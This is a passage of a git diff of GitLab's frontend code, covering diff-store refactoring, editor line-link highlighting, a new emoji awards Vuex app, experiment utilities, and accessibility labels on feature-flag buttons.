index 6860e24db6b..03d11e60745 100644
--- a/app/assets/javascripts/diffs/store/modules/index.js
+++ b/app/assets/javascripts/diffs/store/modules/index.js
@@ -1,7 +1,7 @@
-import * as actions from '../actions';
+import * as actions from 'ee_else_ce/diffs/store/actions';
+import createState from 'ee_else_ce/diffs/store/modules/diff_state';
+import mutations from 'ee_else_ce/diffs/store/mutations';
import * as getters from '../getters';
-import mutations from '../mutations';
-import createState from './diff_state';
export default () => ({
namespaced: true,
diff --git a/app/assets/javascripts/diffs/store/mutations.js b/app/assets/javascripts/diffs/store/mutations.js
index d06793c05af..9ff9a02d444 100644
--- a/app/assets/javascripts/diffs/store/mutations.js
+++ b/app/assets/javascripts/diffs/store/mutations.js
@@ -33,6 +33,7 @@ export default {
endpointMetadata,
endpointBatch,
endpointCoverage,
+ endpointUpdateUser,
projectPath,
dismissEndpoint,
showSuggestPopover,
@@ -45,6 +46,7 @@ export default {
endpointMetadata,
endpointBatch,
endpointCoverage,
+ endpointUpdateUser,
projectPath,
dismissEndpoint,
showSuggestPopover,
@@ -77,15 +79,10 @@ export default {
},
[types.SET_DIFF_DATA_BATCH](state, data) {
- const files = prepareDiffData({
+ state.diffFiles = prepareDiffData({
diff: data,
priorFiles: state.diffFiles,
});
-
- Object.assign(state, {
- ...convertObjectPropsToCamelCase(data),
- });
- updateDiffFilesInState(state, files);
},
[types.SET_COVERAGE_DATA](state, coverageFiles) {
diff --git a/app/assets/javascripts/diffs/store/utils.js b/app/assets/javascripts/diffs/store/utils.js
index b37a75eb2a3..7fa51b9ddea 100644
--- a/app/assets/javascripts/diffs/store/utils.js
+++ b/app/assets/javascripts/diffs/store/utils.js
@@ -381,22 +381,13 @@ function prepareDiffFileLines(file) {
inlineLines.forEach((line) => prepareLine(line, file)); // WARNING: In-Place Mutations!
- Object.assign(file, {
- inlineLinesCount: inlineLines.length,
- });
-
return file;
}
-function getVisibleDiffLines(file) {
- return file.inlineLinesCount;
-}
-
-function finalizeDiffFile(file) {
- const lines = getVisibleDiffLines(file);
-
+function finalizeDiffFile(file, index) {
Object.assign(file, {
- renderIt: lines < LINES_TO_BE_RENDERED_DIRECTLY,
+ renderIt:
+ index < 3 ? file[INLINE_DIFF_LINES_KEY].length < LINES_TO_BE_RENDERED_DIRECTLY : false,
isShowingFullFile: false,
isLoadingFullFile: false,
discussions: [],
@@ -424,7 +415,7 @@ export function prepareDiffData({ diff, priorFiles = [], meta = false }) {
.map((file, index, allFiles) => prepareRawDiffFile({ file, allFiles, meta }))
.map(ensureBasicDiffFileLines)
.map(prepareDiffFileLines)
- .map(finalizeDiffFile);
+ .map((file, index) => finalizeDiffFile(file, priorFiles.length + index));
return deduplicateFilesList([...priorFiles, ...cleanedFiles]);
}
diff --git a/app/assets/javascripts/diffs/utils/interoperability.js b/app/assets/javascripts/diffs/utils/interoperability.js
new file mode 100644
index 00000000000..a52e8fd25f5
--- /dev/null
+++ b/app/assets/javascripts/diffs/utils/interoperability.js
@@ -0,0 +1,49 @@
+const OLD = 'old';
+const NEW = 'new';
+const ATTR_PREFIX = 'data-interop-';
+
+export const ATTR_TYPE = `${ATTR_PREFIX}type`;
+export const ATTR_LINE = `${ATTR_PREFIX}line`;
+export const ATTR_NEW_LINE = `${ATTR_PREFIX}new-line`;
+export const ATTR_OLD_LINE = `${ATTR_PREFIX}old-line`;
+
+export const getInteropInlineAttributes = (line) => {
+ if (!line) {
+ return null;
+ }
+
+ const interopType = line.type?.startsWith(OLD) ? OLD : NEW;
+
+ const interopLine = interopType === OLD ? line.old_line : line.new_line;
+
+ return {
+ [ATTR_TYPE]: interopType,
+ [ATTR_LINE]: interopLine,
+ [ATTR_NEW_LINE]: line.new_line,
+ [ATTR_OLD_LINE]: line.old_line,
+ };
+};
+
+export const getInteropOldSideAttributes = (line) => {
+ if (!line) {
+ return null;
+ }
+
+ return {
+ [ATTR_TYPE]: OLD,
+ [ATTR_LINE]: line.old_line,
+ [ATTR_OLD_LINE]: line.old_line,
+ };
+};
+
+export const getInteropNewSideAttributes = (line) => {
+ if (!line) {
+ return null;
+ }
+
+ return {
+ [ATTR_TYPE]: NEW,
+ [ATTR_LINE]: line.new_line,
+ [ATTR_NEW_LINE]: line.new_line,
+ };
+};
diff --git a/app/assets/javascripts/droplab/drop_lab.js b/app/assets/javascripts/droplab/drop_lab.js
index 74fa6887ba5..6f068aaa800 100644
--- a/app/assets/javascripts/droplab/drop_lab.js
+++ b/app/assets/javascripts/droplab/drop_lab.js
@@ -60,21 +60,24 @@ class DropLab {
addEvents() {
this.eventWrapper.documentClicked = this.documentClicked.bind(this);
- document.addEventListener('mousedown', this.eventWrapper.documentClicked);
+ document.addEventListener('click', this.eventWrapper.documentClicked);
}
documentClicked(e) {
- let thisTag = e.target;
+ if (e.defaultPrevented) return;
- if (thisTag.tagName !== 'UL') thisTag = utils.closest(thisTag, 'UL');
- if (utils.isDropDownParts(thisTag, this.hooks)) return;
- if (utils.isDropDownParts(e.target, this.hooks)) return;
+ if (utils.isDropDownParts(e.target)) return;
+
+ if (e.target.tagName !== 'UL') {
+ const closestUl = utils.closest(e.target, 'UL');
+ if (utils.isDropDownParts(closestUl)) return;
+ }
this.hooks.forEach((hook) => hook.list.hide());
}
removeEvents() {
- document.removeEventListener('mousedown', this.eventWrapper.documentClicked);
+ document.removeEventListener('click', this.eventWrapper.documentClicked);
}
changeHookList(trigger, list, plugins, config) {
diff --git a/app/assets/javascripts/droplab/hook_button.js b/app/assets/javascripts/droplab/hook_button.js
index c58d0052251..c51d6167fa3 100644
--- a/app/assets/javascripts/droplab/hook_button.js
+++ b/app/assets/javascripts/droplab/hook_button.js
@@ -18,6 +18,8 @@ class HookButton extends Hook {
}
clicked(e) {
+ e.preventDefault();
+
const buttonEvent = new CustomEvent('click.dl', {
detail: {
hook: this,
diff --git a/app/assets/javascripts/editor/extensions/editor_lite_extension_base.js b/app/assets/javascripts/editor/extensions/editor_lite_extension_base.js
index 8d350068973..3d4f08131c1 100644
--- a/app/assets/javascripts/editor/extensions/editor_lite_extension_base.js
+++ b/app/assets/javascripts/editor/extensions/editor_lite_extension_base.js
@@ -1,11 +1,85 @@
-import { ERROR_INSTANCE_REQUIRED_FOR_EXTENSION } from '../constants';
+import { Range } from 'monaco-editor';
+import { ERROR_INSTANCE_REQUIRED_FOR_EXTENSION, EDITOR_TYPE_CODE } from '../constants';
+
+const hashRegexp = new RegExp('#?L', 'g');
+
+const createAnchor = (href) => {
+ const fragment = new DocumentFragment();
+ const el = document.createElement('a');
+ el.classList.add('link-anchor');
+ el.href = href;
+ fragment.appendChild(el);
+ el.addEventListener('contextmenu', (e) => {
+ e.stopPropagation();
+ });
+ return fragment;
+};
export class EditorLiteExtension {
constructor({ instance, ...options } = {}) {
if (instance) {
Object.assign(instance, options);
+ EditorLiteExtension.highlightLines(instance);
+ if (instance.getEditorType && instance.getEditorType() === EDITOR_TYPE_CODE) {
+ EditorLiteExtension.setupLineLinking(instance);
+ }
} else if (Object.entries(options).length) {
throw new Error(ERROR_INSTANCE_REQUIRED_FOR_EXTENSION);
}
}
+
+ static highlightLines(instance) {
+ const { hash } = window.location;
+ if (!hash) {
+ return;
+ }
+ const [start, end] = hash.replace(hashRegexp, '').split('-');
+ let startLine = start ? parseInt(start, 10) : null;
+ let endLine = end ? parseInt(end, 10) : startLine;
+ if (endLine < startLine) {
+ [startLine, endLine] = [endLine, startLine];
+ }
+ if (startLine) {
+ window.requestAnimationFrame(() => {
+ instance.revealLineInCenter(startLine);
+ Object.assign(instance, {
+ lineDecorations: instance.deltaDecorations(
+ [],
+ [
+ {
+ range: new Range(startLine, 1, endLine, 1),
+ options: { isWholeLine: true, className: 'active-line-text' },
+ },
+ ],
+ ),
+ });
+ });
+ }
+ }
+
+ static onMouseMoveHandler(e) {
+ const target = e.target.element;
+ if (target.classList.contains('line-numbers')) {
+ const lineNum = e.target.position.lineNumber;
+ const hrefAttr = `#L${lineNum}`;
+ let el = target.querySelector('a');
+ if (!el) {
+ el = createAnchor(hrefAttr);
+ target.appendChild(el);
+ }
+ }
+ }
+
+ static setupLineLinking(instance) {
+ instance.onMouseMove(EditorLiteExtension.onMouseMoveHandler);
+ instance.onMouseDown((e) => {
+ const isCorrectAnchor = e.target.element.classList.contains('link-anchor');
+ if (!isCorrectAnchor) {
+ return;
+ }
+ if (instance.lineDecorations) {
+ instance.deltaDecorations(instance.lineDecorations, []);
+ }
+ });
+ }
}
diff --git a/app/assets/javascripts/emoji/awards_app/index.js b/app/assets/javascripts/emoji/awards_app/index.js
new file mode 100644
index 00000000000..16268910f49
--- /dev/null
+++ b/app/assets/javascripts/emoji/awards_app/index.js
@@ -0,0 +1,43 @@
+import Vue from 'vue';
+import { mapActions, mapState } from 'vuex';
+import { parseBoolean } from '~/lib/utils/common_utils';
+import AwardsList from '~/vue_shared/components/awards_list.vue';
+import createstore from './store';
+
+export default (el) => {
+ const {
+ dataset: { path },
+ } = el;
+ const canAwardEmoji = parseBoolean(el.dataset.canAwardEmoji);
+
+ return new Vue({
+ el,
+ store: createstore(),
+ computed: {
+ ...mapState(['currentUserId', 'canAwardEmoji', 'awards']),
+ },
+ created() {
+ this.setInitialData({ path, currentUserId: window.gon.current_user_id, canAwardEmoji });
+ },
+ mounted() {
+ this.fetchAwards();
+ },
+ methods: {
+ ...mapActions(['setInitialData', 'fetchAwards', 'toggleAward']),
+ },
+ render(createElement) {
+ return createElement(AwardsList, {
+ props: {
+ awards: this.awards,
+ canAwardEmoji: this.canAwardEmoji,
+ currentUserId: this.currentUserId,
+ defaultAwards: ['thumbsup', 'thumbsdown'],
+ selectedClass: 'gl-bg-blue-50! is-active',
+ },
+ on: {
+ award: this.toggleAward,
+ },
+ });
+ },
+ });
+};
diff --git a/app/assets/javascripts/emoji/awards_app/store/actions.js b/app/assets/javascripts/emoji/awards_app/store/actions.js
new file mode 100644
index 00000000000..482acc5a3a9
--- /dev/null
+++ b/app/assets/javascripts/emoji/awards_app/store/actions.js
@@ -0,0 +1,51 @@
+import * as Sentry from '@sentry/browser';
+import axios from '~/lib/utils/axios_utils';
+import { normalizeHeaders } from '~/lib/utils/common_utils';
+import { __ } from '~/locale';
+import showToast from '~/vue_shared/plugins/global_toast';
+import {
+ SET_INITIAL_DATA,
+ FETCH_AWARDS_SUCCESS,
+ ADD_NEW_AWARD,
+ REMOVE_AWARD,
+} from './mutation_types';
+
+export const setInitialData = ({ commit }, data) => commit(SET_INITIAL_DATA, data);
+
+export const fetchAwards = async ({ commit, dispatch, state }, page = '1') => {
+ try {
+ const { data, headers } = await axios.get(state.path, { params: { per_page: 100, page } });
+ const normalizedHeaders = normalizeHeaders(headers);
+ const nextPage = normalizedHeaders['X-NEXT-PAGE'];
+
+ commit(FETCH_AWARDS_SUCCESS, data);
+
+ if (nextPage) {
+ dispatch('fetchAwards', nextPage);
+ }
+ } catch (error) {
+ Sentry.captureException(error);
+ }
+};
+
+export const toggleAward = async ({ commit, state }, name) => {
+ const award = state.awards.find((a) => a.name === name && a.user.id === state.currentUserId);
+
+ try {
+ if (award) {
+ await axios.delete(`${state.path}/${award.id}`);
+
+ commit(REMOVE_AWARD, award.id);
+
+ showToast(__('Award removed'));
+ } else {
+ const { data } = await axios.post(state.path, { name });
+
+ commit(ADD_NEW_AWARD, data);
+
+ showToast(__('Award added'));
+ }
+ } catch (error) {
+ Sentry.captureException(error);
+ }
+};
diff --git a/app/assets/javascripts/emoji/awards_app/store/index.js b/app/assets/javascripts/emoji/awards_app/store/index.js
new file mode 100644
index 00000000000..53ed50f9f5d
--- /dev/null
+++ b/app/assets/javascripts/emoji/awards_app/store/index.js
@@ -0,0 +1,20 @@
+import Vue from 'vue';
+import Vuex from 'vuex';
+import * as actions from './actions';
+import mutations from './mutations';
+
+Vue.use(Vuex);
+
+const createState = () => ({
+ awards: [],
+ awardPath: '',
+ currentUserId: null,
+ canAwardEmoji: false,
+});
+
+export default () =>
+ new Vuex.Store({
+ state: createState(),
+ actions,
+ mutations,
+ });
diff --git a/app/assets/javascripts/emoji/awards_app/store/mutation_types.js b/app/assets/javascripts/emoji/awards_app/store/mutation_types.js
new file mode 100644
index 00000000000..af6289d0943
--- /dev/null
+++ b/app/assets/javascripts/emoji/awards_app/store/mutation_types.js
@@ -0,0 +1,6 @@
+export const SET_INITIAL_DATA = 'SET_INITIAL_DATA';
+
+export const FETCH_AWARDS_SUCCESS = 'FETCH_AWARDS_SUCCESS';
+
+export const ADD_NEW_AWARD = 'ADD_NEW_AWARD';
+export const REMOVE_AWARD = 'REMOVE_AWARD';
diff --git a/app/assets/javascripts/emoji/awards_app/store/mutations.js b/app/assets/javascripts/emoji/awards_app/store/mutations.js
new file mode 100644
index 00000000000..8edcfa92885
--- /dev/null
+++ b/app/assets/javascripts/emoji/awards_app/store/mutations.js
@@ -0,0 +1,23 @@
+import {
+ SET_INITIAL_DATA,
+ FETCH_AWARDS_SUCCESS,
+ ADD_NEW_AWARD,
+ REMOVE_AWARD,
+} from './mutation_types';
+
+export default {
+ [SET_INITIAL_DATA](state, { path, currentUserId, canAwardEmoji }) {
+ state.path = path;
+ state.currentUserId = currentUserId;
+ state.canAwardEmoji = canAwardEmoji;
+ },
+ [FETCH_AWARDS_SUCCESS](state, data) {
+ state.awards.push(...data);
+ },
+ [ADD_NEW_AWARD](state, data) {
+ state.awards.push(data);
+ },
+ [REMOVE_AWARD](state, awardId) {
+ state.awards = state.awards.filter(({ id }) => id !== awardId);
+ },
+};
diff --git a/app/assets/javascripts/emoji/components/picker.vue b/app/assets/javascripts/emoji/components/picker.vue
index 37f3433b781..cbcc5dcff3a 100644
--- a/app/assets/javascripts/emoji/components/picker.vue
+++ b/app/assets/javascripts/emoji/components/picker.vue
@@ -82,6 +82,8 @@ export default {
no-flip
right
lazy
+ @shown="$emit('shown')"
+ @hidden="$emit('hidden')"
>
<template #button-content><slot name="button-content"></slot></template>
<gl-search-box-by-type
@@ -103,6 +105,7 @@ export default {
}"
type="button"
class="gl-border-0 gl-border-b-2 gl-border-b-solid gl-flex-fill-1 gl-text-gray-300 gl-pt-3 gl-pb-3 gl-bg-transparent emoji-picker-category-tab"
+ :aria-label="category.name"
@click="scrollToCategory(category.name)"
>
<gl-icon :name="category.icon" :size="12" />
diff --git a/app/assets/javascripts/ensure_data.js b/app/assets/javascripts/ensure_data.js
new file mode 100644
index 00000000000..5b4d1afc9d0
--- /dev/null
+++ b/app/assets/javascripts/ensure_data.js
@@ -0,0 +1,56 @@
+import emptySvg from '@gitlab/svgs/dist/illustrations/security-dashboard-empty-state.svg';
+import { GlEmptyState } from '@gitlab/ui';
+import * as Sentry from '@sentry/browser';
+import { __ } from '~/locale';
+
+const ERROR_FETCHING_DATA_HEADER = __('Could not get the data properly');
+const ERROR_FETCHING_DATA_DESCRIPTION = __(
+ 'Please try and refresh the page. If the problem persists please contact support.',
+);
+
+/**
+ * This function takes a Component and extends it with data from the `parseData` function.
+ * The data will be made available through `props` and `proivde`.
+ * If the `parseData` throws, the `GlEmptyState` will be returned.
+ * @param {Component} Component a component to render
+ * @param {Object} options
+ * @param {Function} options.parseData a function to parse `data`
+ * @param {Object} options.data an object to pass to `parseData`
+ * @param {Boolean} options.shouldLog to tell whether to log any thrown error by `parseData` to Sentry
+ * @param {Object} options.props to override passed `props` data
+ * @param {Object} options.provide to override passed `provide` data
+ * @param {*} ...options the remaining options will be passed as properties to `createElement`
+ * @return {Component} a Vue component to render, either the GlEmptyState or the extended Component
+ */
+export default function ensureData(Component, options = {}) {
+ const { parseData, data, shouldLog = false, props, provide, ...rest } = options;
+ try {
+ const parsedData = parseData(data);
+ return {
+ provide: { ...parsedData, ...provide },
+ render(createElement) {
+ return createElement(Component, {
+ props: { ...parsedData, ...props },
+ ...rest,
+ });
+ },
+ };
+ } catch (error) {
+ if (shouldLog) {
+ Sentry.captureException(error);
+ }
+
+ return {
+ functional: true,
+ render(createElement) {
+ return createElement(GlEmptyState, {
+ props: {
+ title: ERROR_FETCHING_DATA_HEADER,
+ description: ERROR_FETCHING_DATA_DESCRIPTION,
+ svgPath: `data:image/svg+xml;utf8,${encodeURIComponent(emptySvg)}`,
+ },
+ });
+ },
+ };
+ }
+}
diff --git a/app/assets/javascripts/environments/components/enable_review_app_modal.vue b/app/assets/javascripts/environments/components/enable_review_app_modal.vue
index 2494968857c..b0c0f83b88a 100644
--- a/app/assets/javascripts/environments/components/enable_review_app_modal.vue
+++ b/app/assets/javascripts/environments/components/enable_review_app_modal.vue
@@ -10,6 +10,7 @@ export default {
GlSprintf,
ModalCopyButton,
},
+ inject: ['defaultBranchName'],
props: {
modalId: {
type: String,
@@ -28,7 +29,11 @@ export default {
modalInfo: {
closeText: s__('EnableReviewApp|Close'),
copyToClipboardText: s__('EnableReviewApp|Copy snippet text'),
- copyString: `deploy_review:
+ title: s__('ReviewApp|Enable Review App'),
+ },
+ computed: {
+ modalInfoCopyStr() {
+ return `deploy_review:
stage: deploy
script:
- echo "Deploy a review app"
@@ -38,8 +43,8 @@ export default {
only:
- branches
except:
- - master`,
- title: s__('ReviewApp|Enable Review App'),
+ - ${this.defaultBranchName}`;
+ },
},
};
</script>
@@ -75,7 +80,9 @@ export default {
</gl-sprintf>
</p>
<div class="gl-display-flex align-items-start">
- <pre class="gl-w-full"> {{ $options.modalInfo.copyString }} </pre>
+ <pre class="gl-w-full" data-testid="enable-review-app-copy-string">
+ {{ modalInfoCopyStr }} </pre
+ >
<modal-copy-button
:title="$options.modalInfo.copyToClipboardText"
:text="$options.modalInfo.copyString"
@@ -90,7 +97,9 @@ export default {
<strong>{{ content }}</strong>
</template>
<template #link="{ content }">
- <gl-link href="blob/master/.gitlab-ci.yml" target="_blank">{{ content }}</gl-link>
+ <gl-link :href="`blob/${defaultBranchName}/.gitlab-ci.yml`" target="_blank">{{
+ content
+ }}</gl-link>
</template>
</gl-sprintf>
</p>
diff --git a/app/assets/javascripts/environments/components/environment_rollback.vue b/app/assets/javascripts/environments/components/environment_rollback.vue
index 397616c654f..c0b4e96cea2 100644
--- a/app/assets/javascripts/environments/components/environment_rollback.vue
+++ b/app/assets/javascripts/environments/components/environment_rollback.vue
@@ -71,6 +71,7 @@ export default {
class="gl-display-none gl-md-display-block text-secondary"
:loading="isLoading"
:title="title"
+ :aria-label="title"
:icon="isLastDeployment ? 'repeat' : 'redo'"
@click="onClick"
/>
diff --git a/app/assets/javascripts/environments/index.js b/app/assets/javascripts/environments/index.js
index 68348648e61..b99872f7a6c 100644
--- a/app/assets/javascripts/environments/index.js
+++ b/app/assets/javascripts/environments/index.js
@@ -22,6 +22,7 @@ export default () => {
apolloProvider,
provide: {
projectPath: el.dataset.projectPath,
+ defaultBranchName: el.dataset.defaultBranchName,
},
data() {
const environmentsData = el.dataset;
diff --git a/app/assets/javascripts/error_tracking/components/error_details.vue b/app/assets/javascripts/error_tracking/components/error_details.vue
index 03b8df50c54..f05f0cb7c6d 100644
--- a/app/assets/javascripts/error_tracking/components/error_details.vue
+++ b/app/assets/javascripts/error_tracking/components/error_details.vue
@@ -322,7 +322,7 @@ export default {
<gl-button
v-if="!error.gitlabIssuePath"
category="primary"
- variant="success"
+ variant="confirm"
:loading="issueCreationInProgress"
data-qa-selector="create_issue_button"
@click="createIssue"
diff --git a/app/assets/javascripts/error_tracking/components/error_tracking_actions.vue b/app/assets/javascripts/error_tracking/components/error_tracking_actions.vue
index db61957d452..9438900c736 100644
--- a/app/assets/javascripts/error_tracking/components/error_tracking_actions.vue
+++ b/app/assets/javascripts/error_tracking/components/error_tracking_actions.vue
@@ -51,6 +51,7 @@ export default {
v-gl-tooltip.hover
class="gl-display-block gl-mb-4 mb-md-0 gl-w-full"
:title="ignoreBtn.title"
+ :aria-label="ignoreBtn.title"
@click="$emit('update-issue-status', { errorId: error.id, status: ignoreBtn.status })"
>
<gl-icon class="gl-display-none d-md-inline gl-m-0" :name="ignoreBtn.icon" :size="12" />
@@ -62,6 +63,7 @@ export default {
v-gl-tooltip.hover
class="gl-display-block gl-mb-4 mb-md-0 gl-w-full"
:title="resolveBtn.title"
+ :aria-label="resolveBtn.title"
@click="$emit('update-issue-status', { errorId: error.id, status: resolveBtn.status })"
>
<gl-icon class="gl-display-none d-md-inline gl-m-0" :name="resolveBtn.icon" :size="12" />
diff --git a/app/assets/javascripts/error_tracking_settings/components/error_tracking_form.vue b/app/assets/javascripts/error_tracking_settings/components/error_tracking_form.vue
index dbcda0877b4..4df324b396c 100644
--- a/app/assets/javascripts/error_tracking_settings/components/error_tracking_form.vue
+++ b/app/assets/javascripts/error_tracking_settings/components/error_tracking_form.vue
@@ -33,7 +33,7 @@ export default {
<p class="form-text text-muted">
{{
s__(
- "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io",
+ "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io",
)
}}
</p>
@@ -75,12 +75,12 @@ export default {
</div>
</div>
<p v-if="connectError" class="gl-field-error">
- {{ s__('ErrorTracking|Connection has failed. Re-check Auth Token and try again.') }}
+ {{ s__('ErrorTracking|Connection failed. Check Auth Token and try again.') }}
</p>
<p v-else class="form-text text-muted">
{{
s__(
- "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects",
+ 'ErrorTracking|After adding your Auth Token, select the Connect button to load projects.',
)
}}
</p>
diff --git a/app/assets/javascripts/error_tracking_settings/store/getters.js b/app/assets/javascripts/error_tracking_settings/store/getters.js
index 30828778574..f203a259b16 100644
--- a/app/assets/javascripts/error_tracking_settings/store/getters.js
+++ b/app/assets/javascripts/error_tracking_settings/store/getters.js
@@ -34,8 +34,8 @@ export const invalidProjectLabel = (state) => {
export const projectSelectionLabel = (state) => {
if (state.token) {
return s__(
- "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown.",
+ 'ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown.',
);
}
- return s__('ErrorTracking|To enable project selection, enter a valid Auth Token');
+ return s__('ErrorTracking|To enable project selection, enter a valid Auth Token.');
};
diff --git a/app/assets/javascripts/experimentation/components/experiment.vue b/app/assets/javascripts/experimentation/components/experiment.vue
new file mode 100644
index 00000000000..294dbf77991
--- /dev/null
+++ b/app/assets/javascripts/experimentation/components/experiment.vue
@@ -0,0 +1,15 @@
+<script>
+import { getExperimentVariant } from '../utils';
+
+export default {
+ props: {
+ name: {
+ type: String,
+ required: true,
+ },
+ },
+ render() {
+ return this.$slots?.[getExperimentVariant(this.name)];
+ },
+};
+</script>
diff --git a/app/assets/javascripts/experimentation/constants.js b/app/assets/javascripts/experimentation/constants.js
index b7e61d43b11..76e8fdb684b 100644
--- a/app/assets/javascripts/experimentation/constants.js
+++ b/app/assets/javascripts/experimentation/constants.js
@@ -1 +1,3 @@
export const TRACKING_CONTEXT_SCHEMA = 'iglu:com.gitlab/gitlab_experiment/jsonschema/1-0-0';
+export const DEFAULT_VARIANT = 'control';
+export const CANDIDATE_VARIANT = 'candidate';
diff --git a/app/assets/javascripts/experimentation/utils.js b/app/assets/javascripts/experimentation/utils.js
index d3e7800f643..572907f226d 100644
--- a/app/assets/javascripts/experimentation/utils.js
+++ b/app/assets/javascripts/experimentation/utils.js
@@ -1,5 +1,6 @@
// This file only applies to use of experiments through https://gitlab.com/gitlab-org/gitlab-experiment
import { get } from 'lodash';
+import { DEFAULT_VARIANT, CANDIDATE_VARIANT } from './constants';
export function getExperimentData(experimentName) {
return get(window, ['gon', 'experiment', experimentName]);
@@ -8,3 +9,20 @@ export function getExperimentData(experimentName) {
export function isExperimentVariant(experimentName, variantName) {
return getExperimentData(experimentName)?.variant === variantName;
}
+
+export function getExperimentVariant(experimentName) {
+ return getExperimentData(experimentName)?.variant || DEFAULT_VARIANT;
+}
+
+export function experiment(experimentName, variants) {
+ const variant = getExperimentVariant(experimentName);
+
+ switch (variant) {
+ case DEFAULT_VARIANT:
+ return variants.use.call();
+ case CANDIDATE_VARIANT:
+ return variants.try.call();
+ default:
+ return variants[variant].call();
+ }
+}
diff --git a/app/assets/javascripts/feature_flags/components/feature_flags_table.vue b/app/assets/javascripts/feature_flags/components/feature_flags_table.vue
index 222815407ea..9220077af71 100644
--- a/app/assets/javascripts/feature_flags/components/feature_flags_table.vue
+++ b/app/assets/javascripts/feature_flags/components/feature_flags_table.vue
@@ -7,6 +7,8 @@ import { labelForStrategy } from '../utils';
export default {
i18n: {
+ deleteLabel: __('Delete'),
+ editLabel: __('Edit'),
toggleLabel: __('Feature flag status'),
},
components: {
@@ -215,19 +217,21 @@ export default {
<div class="table-action-buttons btn-group">
<template v-if="featureFlag.edit_path">
<gl-button
- v-gl-tooltip.hover.bottom="__('Edit')"
+ v-gl-tooltip.hover.bottom="$options.i18n.editLabel"
class="js-feature-flag-edit-button"
icon="pencil"
+ :aria-label="$options.i18n.editLabel"
:href="featureFlag.edit_path"
/>
</template>
<template v-if="featureFlag.destroy_path">
<gl-button
- v-gl-tooltip.hover.bottom="__('Delete')"
+ v-gl-tooltip.hover.bottom="$options.i18n.deleteLabel"
class="js-feature-flag-delete-button"
variant="danger"
icon="remove"
:disabled="!canDeleteFlag(featureFlag)"
+ :aria-label="$options.i18n.deleteLabel"
@click="setDeleteModalData(featureFlag)"
/>
</template>
diff --git a/app/assets/javascripts/feature_flags/components/form.vue b/app/assets/javascripts/feature_flags/components/form.vue
index f6a14d9996f..67ddceaf080 100644
--- a/app/assets/javascripts/feature_flags/components/form.vue
+++ b/app/assets/javascripts/feature_flags/components/form.vue
@@ -29,6 +29,10 @@ import EnvironmentsDropdown from './environments_dropdown.vue';
import Strategy from './strategy.vue';
export default {
+ i18n: {
+ removeLabel: s__('FeatureFlags|Remove'),
+ statusLabel: s__('FeatureFlags|Status'),
+ },
components: {
GlButton,
GlBadge,
@@ -314,7 +318,7 @@ export default {
<h4>{{ s__('FeatureFlags|Strategies') }}</h4>
<div class="flex align-items-baseline justify-content-between">
<p class="mr-3">{{ $options.translations.newHelpText }}</p>
- <gl-button variant="success" category="secondary" @click="addStrategy">
+ <gl-button variant="confirm" category="secondary" @click="addStrategy">
{{ s__('FeatureFlags|Add strategy') }}
</gl-button>
</div>
@@ -396,12 +400,14 @@ export default {
<div class="table-section section-20 text-center" role="gridcell">
<div class="table-mobile-header" role="rowheader">
- {{ s__('FeatureFlags|Status') }}
+ {{ $options.i18n.statusLabel }}
</div>
<div class="table-mobile-content gl-display-flex gl-justify-content-center">
<gl-toggle
:value="scope.active"
:disabled="!active || !canUpdateScope(scope)"
+ :label="$options.i18n.statusLabel"
+ label-position="hidden"
@change="(status) => (scope.active = status)"
/>
</div>
@@ -502,7 +508,8 @@ export default {
<gl-button
v-if="!isAllEnvironment(scope.environmentScope) && canUpdateScope(scope)"
v-gl-tooltip
- :title="s__('FeatureFlags|Remove')"
+ :title="$options.i18n.removeLabel"
+ :aria-label="$options.i18n.removeLabel"
class="js-delete-scope btn-transparent pr-3 pl-3"
icon="clear"
data-testid="feature-flag-delete"
@@ -529,11 +536,13 @@ export default {
<div class="table-section section-20 text-center" role="gridcell">
<div class="table-mobile-header" role="rowheader">
- {{ s__('FeatureFlags|Status') }}
+ {{ $options.i18n.statusLabel }}
</div>
<div class="table-mobile-content gl-display-flex gl-justify-content-center">
<gl-toggle
:disabled="!active"
+ :label="$options.i18n.statusLabel"
+ label-position="hidden"
:value="false"
@change="createNewScope({ active: true })"
/>
@@ -575,7 +584,7 @@ export default {
ref="submitButton"
:disabled="readOnly"
type="button"
- variant="success"
+ variant="confirm"
class="js-ff-submit col-xs-12"
@click="handleSubmit"
>{{ submitText }}</gl-button
diff --git a/app/assets/javascripts/feature_flags/components/strategy.vue b/app/assets/javascripts/feature_flags/components/strategy.vue
index 170f120b036..3f515dcdf18 100644
--- a/app/assets/javascripts/feature_flags/components/strategy.vue
+++ b/app/assets/javascripts/feature_flags/components/strategy.vue
@@ -165,6 +165,7 @@ export default {
data-testid="delete-strategy-button"
variant="danger"
icon="remove"
+ :aria-label="__('Delete')"
@click="$emit('delete')"
/>
</div>
diff --git a/app/assets/javascripts/feature_flags/components/user_lists_table.vue b/app/assets/javascripts/feature_flags/components/user_lists_table.vue
index 0bfd18f992c..765f59228a6 100644
--- a/app/assets/javascripts/feature_flags/components/user_lists_table.vue
+++ b/app/assets/javascripts/feature_flags/components/user_lists_table.vue
@@ -7,7 +7,7 @@ import {
GlTooltipDirective,
GlModalDirective,
} from '@gitlab/ui';
-import { s__, sprintf } from '~/locale';
+import { __, s__, sprintf } from '~/locale';
import timeagoMixin from '~/vue_shared/mixins/timeago';
export default {
@@ -24,11 +24,12 @@ export default {
createdTimeagoLabel: s__('UserList|created %{timeago}'),
deleteListTitle: s__('UserList|Delete %{name}?'),
deleteListMessage: s__('User list %{name} will be removed. Are you sure?'),
+ editUserListLabel: s__('FeatureFlags|Edit User List'),
},
modal: {
id: 'deleteListModal',
actionPrimary: {
- text: s__('Delete user list'),
+ text: __('Delete user list'),
attributes: { variant: 'danger', 'data-testid': 'modal-confirm' },
},
},
@@ -93,6 +94,7 @@ export default {
:href="list.path"
category="secondary"
icon="pencil"
+ :aria-label="$options.translations.editUserListLabel"
data-testid="edit-user-list"
/>
<gl-button
@@ -100,6 +102,7 @@ export default {
category="secondary"
variant="danger"
icon="remove"
+ :aria-label="$options.modal.actionPrimary.text"
data-testid="delete-user-list"
@click="confirmDeleteList(list)"
/>
diff --git a/app/assets/javascripts/feature_highlight/feature_highlight_popover.vue b/app/assets/javascripts/feature_highlight/feature_highlight_popover.vue
index 2fd92a1bb11..79d7eb94569 100644
--- a/app/assets/javascripts/feature_highlight/feature_highlight_popover.vue
